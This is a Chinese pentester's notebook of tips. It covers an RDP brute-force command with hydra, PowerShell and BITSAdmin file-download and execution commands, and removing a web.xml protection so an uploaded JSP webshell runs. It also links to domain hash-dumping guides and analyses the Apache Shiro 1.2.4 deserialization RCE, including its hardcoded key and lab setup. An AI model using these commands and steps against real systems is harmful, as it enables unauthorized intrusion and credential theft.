学习中积累的小Tips(不断更新中…)

本文是笔者的学习的笔记,在于记录自己在学习过程中的知识积累,以便以后查找方便。

暴力破解

工具收集:
hydra:
3389爆破命令: hydra -l login -P password.txt 192.xxx.xxx.xxx rdp
其中login是指用户名,password.txt是指密码字典, 192.xxx.xxx.xx是指服务器IP地址

批量下载

wget是linux下命令行的下载工具,功能很强大,虽然我很少用,一般下在一些小东西都是直接用firefox,seamonkey这些浏览器自带的下载功能下载,没有必要用wget或者其他下载工具。但是某些时候却不是浏览器自带的下载功能和一些其他的下载软件所能做的的,这时候就得用wget了。比如如果你想下载一个网页目录下的所有文件,如何做呢?


先介绍几个参数:-c 断点续传(备注:使用断点续传要求服务器支持断点续传),-r 递归下载(目录下的所有文件,包括子目录),-np 递归下载不搜索上层目录,-k 把绝对链接转为相对链接,这样下载之后的网页方便浏览。-L 递归时不进入其他主机,-p 下载网页所需要的所有文件。
比如:#wget -c -r -np -k -L -p http://www.kuqin.com/itman/liyanhong/

PowerShell文件下载

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

在windows 2003之中默认支持这种脚本。

下面这两条指令实现了从Internet网络下载一个文件。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

下面这条指令是执行一个文件

PS C:\> .\test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

C:\>powershell set-executionpolicy unrestricted

BITSAdmin文件下载

BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参见:https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx

我们可以使用下面的命令来实现文件下载:

bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\10mb.zip

下面是一个基于BITSAdmin的文件下载的shell脚本:

@ECHO OFF
:: NAME
::	Bits-Download.cmd
::
:: SYNOPSIS
::	Downloads a remote file with BITS.
::
:: SYNTAX
::	Bits-Download remote_url local_name
::
:: DETAILED DESCRIPTION
::	The Bits-Download.cmd batch file uses BITS to download
::	the given remote file. Bits-Download.cmd requires the
::	BITS Admin Utility Bitsadmin.exe.
::
:: NOTES
::	Bits-Download.cmd was developed and tested on Windows Vista.
::
:: AUTHOR
::	Frank-Peter Schultze
::
:: DATE
::	00:18 21.07.2008

SETLOCAL

	IF "%2"=="" (
		TYPE "%~f0" | findstr.exe /R "^::"
		GOTO :END
	)

	SET bits_job=bits%RANDOM%

	SET remote_url="%~1"
	IF NOT DEFINED remote_url (
		ECHO %~n0 : Cannot bind argument to parameter 'remote_url' because it is empty.
		GOTO :END
	)

	SET local_name="%~2"
	IF NOT DEFINED local_name (
		ECHO %~n0 : Cannot bind argument to parameter 'local_name' because it is empty.
		GOTO :END
	)

	(SET /P remote_user=User name ^(leave empty if not required^): )
	IF DEFINED remote_user (SET /P remote_pass=Password: )

	bitsadmin.exe /CREATE /DOWNLOAD %bits_job%

	bitsadmin.exe /ADDFILE %bits_job% %remote_url% %local_name%

	bitsadmin.exe /SETNOTIFYCMDLINE %bits_job% "%SystemRoot%\system32\bitsadmin.exe" "%SystemRoot%\system32\bitsadmin.exe /COMPLETE %bits_job%"

	IF DEFINED remote_user IF DEFINED remote_pass (
		bitsadmin.exe /SETCREDENTIALS %bits_job% SERVER BASIC %remote_user% %remote_pass%
	)

	bitsadmin.exe /RESUME %bits_job%

:END
ENDLOCAL

保存代码为Bits-Download.cmd, 使用方法:Bits-Download [remote_url] [local_name]

参考链接:http://www.out-web.net/?p=151

Jenkins Hacking多种利用方式

原文链接:http://www.secpulse.com/archives/2166.html

JSP webshell执行403错误

上传了JSP的webshell成功后不能被执行,比如报403错误。通常这类报错是因为web.xml设置了禁止直接访问JSP文件,比如下面是struts2的中的默认web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Struts Blank</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

    <security-role>
        <description>Don't assign users to this role</description>
        <role-name>no-users</role-name>
    </security-role>

</web-app>

解决方法是:注释或者删除web.xml中的以下防护配置

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

内网渗透相关

渗透学习案例:https://github.com/l3m0n/pentest_study

导出当前域内所有用户hash的技术整理:http://drops.wooyun.org/tips/6617

在远程系统上执行程序的技术整理:http://drops.wooyun.org/tips/7358

利用Powershell快速导出域控所有用户Hash:http://drops.wooyun.org/tips/10181

域渗透——Local Administrator Password Solution:http://drops.wooyun.org/tips/10496

域渗透——Pass The Hash & Pass The Key:http://drops.wooyun.org/tips/11631

渗透技巧——通过cmd上传文件的N种方法:http://drops.wooyun.org/tips/14101

渗透技巧——如何巧妙利用PSR监控Windows桌面:http://drops.wooyun.org/tips/13125

Apache Shiro 1.2.4 远程代码执行分析与利用

0x00 前言

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理功能,可为任何应用提供安全保障 – 从命令行应用、移动应用到大型网络及企业应用。Shiro为解决应用安全的如下四要素提供了相应的API:

  • 认证 – 用户身份识别,常被称为用户“登录”;
  • 授权 – 访问控制;
  • 密码加密 – 保护或隐藏数据防止被偷窥;
  • 会话管理 – 用户相关的时间敏感的状态。

Shiro还支持一些辅助特性,如Web应用安全、单元测试和多线程,它们的存在强化了这四个要素。本文重点分析2015年11月19号报告的1.2.4版本中存在的一个反序列化导致的远程代码执行的漏洞。

0x01 分析

根据SHIRO-550(https://issues.apache.org/jira/browse/SHIRO-550)报告中的描述,默认情况下,shiro使用CookieRememberMeManager类对用户的身份信息的进行序列化,加密以及编码。因此,当系统收到一个未认证的用户的请求时,将会按照下面的过程来寻找已记住的身份信息:

  • 获取rememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用ObjectInputStream进行反序列化

然而,默认的AES加密的密钥却是硬编码在源码里。这就意味着,任何能够看到源代码的人都知道默认的密钥什么。一旦攻击者构造了一个恶意的对象,利用上面处理过程的反过程(序列化-AES加密-Base64编码)将恶意代码作为cookie发送至服务器端这就造成了由反序列化引起的远程代码执行的漏洞。

下面我将重点分析一下这个漏洞造成的过程。

从报告描述中可以发现这个漏洞主要是因为CookieRememberMeManager类引起的,找到github上shiro 1.2.4源码。

CookieRememberMeManager.java:

public class CookieRememberMeManager extends AbstractRememberMeManager {

    ...

    /**
     * Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.
     * <p/>
     * The {@code subject} instance is expected to be a {@link WebSubject} instance with an HTTP Request/Response pair
     * so an HTTP cookie can be set on the outgoing response.  If it is not a {@code WebSubject} or that
     * {@code WebSubject} does not have an HTTP Request/Response pair, this implementation does nothing.
     *
     * @param subject    the Subject for which the identity is being serialized.
     * @param serialized the serialized bytes to be persisted.
     */
    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

    ...

    /**
     * Returns a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     * This implementation retrieves an HTTP cookie, Base64-decodes the cookie value, and returns the resulting byte
     * array.
     * <p/>
     * The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP
     * Request/Response pair so an HTTP cookie can be retrieved from the incoming request.  If it is not a
     * {@code WebSubjectContext} or that {@code WebSubjectContext} does not have an HTTP Request/Response pair, this
     * implementation returns {@code null}.
     *
     * @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that
     *                       is being used to construct a {@link Subject} instance.  To be used to assist with data
     *                       lookup.
     * @return a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     */
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

分析这个类后,我们发现CookieRememberMeManager类实际上继承了父类AbstractRememberMeManager并且正如上面描述的过程使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象。

而AbstractRememberMeManager类直接将AES加密的密钥写在源码里,并且调用DefaultSerializer类来实现序列化操作

AbstractRememberMeManager.java:

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

... ...

    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

继续分析DefaultSerializer类,在反序列化方法deserialize里,我们看到了熟悉的readObject(),这也正是远程代码执行漏洞产生的原因。

DefaultSerializer.java:

public class DefaultSerializer<T> implements Serializer<T> {

    /**
     * This implementation serializes the Object by using an {@link ObjectOutputStream} backed by a
     * {@link ByteArrayOutputStream}.  The {@code ByteArrayOutputStream}'s backing byte array is returned.
     *
     * @param o the Object to convert into a byte[] array.
     * @return the bytes representing the serialized object using standard JVM serialization.
     * @throws SerializationException wrapping a {@link IOException} if something goes wrong with the streams.
     */
    public byte[] serialize(T o) throws SerializationException {
        if (o == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException e) {
            String msg = "Unable to serialize object [" + o + "].  " +
                    "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
                    "class must implement java.io.Serializable.";
            throw new SerializationException(msg, e);
        }
    }

    /**
     * This implementation deserializes the byte array using a {@link ObjectInputStream} using a source
     * {@link ByteArrayInputStream} constructed with the argument byte array.
     *
     * @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.
     * @return the deserialized/reconstituted object based on the given byte array
     * @throws SerializationException if anything goes wrong using the streams.
     */
    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

总结一下漏洞产生的过程如下:

  1. CookieRememberMeManager类接收到客户端的rememberMe cookie的请求
  2. 使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象
  3. 调用AbstractRememberMeManager类并使用硬编码的密钥对序列化对象进行AES解密
  4. 调用DefaultSerializer类中的deserialize方法实现反序列化操作,从而造成远程代码执行

0x02 利用

2.1 搭建实验环境

首先,从Github上下载Shiro 1.2.4的源代码:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd samples/web

接着,编辑pom.xml文件,添加存在漏洞的jar包如下:

<!-- 设置maven的编译环境 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!-- 此处需设置版本为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        ...
        <!-- 添加存在漏洞的commons-collections包 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

然后,安装和配置maven并设置maven的编译环境。可参考http://shiro-user.582556.n2.nabble.com/Help-td7580772.html,新建文件”~/.m2/toolchains.xml”包含以下内容:

<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <!-- this can be anything 1.6+, I tested with java 1.8 on a mac -->
      <jdkHome>/absolute/path/to/java/home</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

编译存在漏洞环境为war包:

mvn package

编译成功后,将target目录下生成的war文件部署到你的web服务器上(如:tomcat)如下图所示:

2.2 编写漏洞利用

根据以上的分析,我编写了如下的工具可用于检测是否存在漏洞。

单个网址检测:

hackUtils.py -o http://www.shiro.com/

批量网址检测:

hackUtils.py -o urls.txt

0x03 修补方案

升级到Shiro 1.2.5 或者 2.0.0 版本。

参考

https://issues.apache.org/jira/browse/SHIRO-550